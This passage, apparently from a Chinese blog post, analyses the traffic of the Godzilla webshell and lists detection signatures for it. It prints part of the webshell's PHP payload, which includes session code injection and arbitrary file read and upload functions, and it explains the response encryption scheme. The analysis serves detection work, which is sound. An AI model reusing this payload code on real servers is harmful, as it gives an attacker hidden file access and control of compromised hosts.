    return $parameters;
}
function includeCode(){
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SES=&getSession();
    $_SES[$codeName]=$classCode;
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
function convertFilePermissions($fileAttr){
    $mod=0;
    if (strpos($fileAttr,'R')!==false){
        $mod=$mod+0444;
    }
    if (strpos($fileAttr,'W')!==false){
        $mod=$mod+0222;
    }
    if (strpos($fileAttr,'X')!==false){
        $mod=$mod+0111;
    }
    return $mod;
}
function g_close(){
    @session_start();
    $_SES=&getSession();
    $_SES=null;
    if (@session_destroy()){
        return "ok";
    }else{
        return "fail!";
    }
}

function bigFileDownload(){
    $mode=get("mode");
    $fileName=get("fileName");
    $readByteNum=get("readByteNum");
    $position=get("position");
    if ($mode=="fileSize"){
        return @filesize($fileName)."";
    }elseif ($mode=="read"){
        if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
            $handle=fopen($fileName,"rb");
            if ($handle!==false){
                @fseek($handle,$position);
                $data=fread($handle,$readByteNum);
                @fclose($handle);
                if ($data!==false){
                    return $data;
                }else{
                    return "cannot read file";
                }
            }else{
                return "cannot open file";
            }
        }else if (function_existsEx("file_get_contents")){
            return file_get_contents($fileName,false,null,$position,$readByteNum);
        }else{
            return "no function";
        }

    }else{
        return "no mode";
    }
}

function bigFileUpload(){
    $fileName=get("fileName");
    $fileContents=get("fileContents");
    $position=get("position");
    if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
        $handle=fopen($fileName,"ab");
        if ($handle!==false){
            fseek($handle,$position);
            $len=fwrite($handle,$fileContents);
            @fclose($handle);
            if ($len!==false){
                return "ok";
            }else{
                return "cannot write file";
            }
        }else{
            return "cannot open file";
        }
    }else if (function_existsEx("file_put_contents")){
        if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
            return "ok";
        }else{
            return "writer fail";
        }
    }else{
        return "no function";
    }
}
function canCallGzipEncode(){
    if (function_existsEx("gzencode")){
        return "1";
    }else{
        return "0";
    }
}
function canCallGzipDecode(){
    if (function_existsEx("gzdecode")){
        return "1";
    }else{
        return "0";
    }
}
function bytesToInteger($bytes, $position) {
    $val = 0;
    $val = $bytes[$position + 3] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 2] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 1] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position] & 0xff;
    return $val;
}
function isGzipStream($bin){
    if (strlen($bin)>=2){
        $bin=substr($bin,0,2);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        switch ($typeCode) {
            case 31139:
                return true;
            default:
                return false;
        }
    }else{
        return false;
    }
}
function getBytes($string) {
    $bytes = array();
    for($i = 0; $i < strlen($string); $i++){
        array_push($bytes,ord($string[$i]));
    }
    return $bytes;
}

请求包一

在这里插入图片描述返回包一
在这里插入图片描述

尝试解密第二个请求体,发现存在乱码,参考其他师傅分析了解到从第二个请求开始哥斯拉采用了另外一种加密(具体不赘述),
所以上面的脚本无法完全解密,我们只需要知道服务端解密会得到一个键值对methodName:test。
这个test是之前第一次发送的数据中定义的函数,服务器此时将调用这个test函数然后返回"ok"。
而第三个数据包解密得到methodName:getBasicsinfo,调用getBasicsinfo获取目标系统信息。

在这里插入图片描述
在这里插入图片描述

如果以based64传输数据那么从第二个请求开始,服务端会对结果数据进行gzip压缩然后与密钥md5值的前16位按位异或,
然后再based64编码,最后于前后各自增加16个混淆字符。
所以响应体格式就会变成based64数据被前后各16个混淆字符包裹。

数据包二
在这里插入图片描述

数据包三
在这里插入图片描述

三、总结:

弱特征:pass字段(哥斯拉必须通过某个参数来传入数据,默认为pass)、Accept字段、UA、以based64传输数据(若选择raw方式则不会有此特征)
强特征:
1.首次请求的固定三个数据包,不论哪种类型的shell哥斯拉在刚开始都会发起这三个请求。(第一个请求包数据很大,响应包空并设置sessionid;第二个与第三个请求都会携带cookie且有响应数据);
2.cookie后分号;
3.响应体是前后各16位混淆字母包裹based64编码数据(哥斯拉有based64编码和raw两种传输方式,而这个特征仅限于based64方式传输,raw传输方式不存在此特征)

四、解密工具

经过分析除了eval类型需要从第一个请求体中提取key,其他类型的shell都可以在生成的脚本中找到。

五、参考

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